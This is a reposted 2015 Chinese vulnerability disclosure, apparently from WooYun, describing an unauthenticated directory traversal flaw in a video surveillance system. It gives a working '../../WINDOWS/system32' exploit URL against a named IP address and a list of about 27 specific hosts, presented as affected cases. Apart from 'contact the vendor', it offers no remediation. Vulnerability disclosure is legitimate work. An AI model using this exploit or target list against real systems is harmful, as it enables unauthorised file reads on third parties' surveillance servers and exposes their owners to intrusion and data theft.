记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

某视频监控系统文件任意遍历(影响上万多用户)

2015-08-21 17:25

由于没充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。



无需登录情况任意遍历系统文件下载(以windwos文件夹内文件为例)

漏洞证明:

aaaaaaaaaaa1111111111111111.jpg





aaaaaaaaaaaa22222222222222.jpg





aaaaaaaaaaaaa333333333333.jpg





利用方式:

code 区域
http://39.187.12.253/../../WINDOWS/system32/drivers/etc/hosts



部分案例:

code 区域
http://inversa.nvdvr.net:8080/

http://61-221-215-40.hinet-ip.hinet.net/

http://119.145.201.6/

http://www.fashicn.com:8081/

http://yyshoes.nvdvr.net:8082/

http://220-128-132-92.hinet-ip.hinet.net/

http://gxyey2.nvdvr.net:8888/

http://dgansheng1.gicp.net:8800/

http://39.181.130.36:8080/

http://39.181.128.70:8080/

http://39.181.235.16:8080/

http://39.182.115.30:8080/

http://39.186.33.151:8080/

http://39.183.200.247:8080/

http://39.188.6.86:8080/

http://39.182.138.10:8080/

http://39.182.196.19:8080/

http://39.189.121.19:8080/

http://39.183.239.109:8080/

http://39.183.194.138:8080/

http://39.189.141.146:8080/

http://39.187.12.253/

http://39.181.161.3/

http://39.182.153.130/

http://39.173.20.15:8080/

http://39.172.151.121:8080/

http://39.171.217.97/

修复方案:

联系厂商


知识来源: www.wooyun.org/bugs/wooyun-2015-0114908

阅读:192416 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“某视频监控系统文件任意遍历(影响上万多用户)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云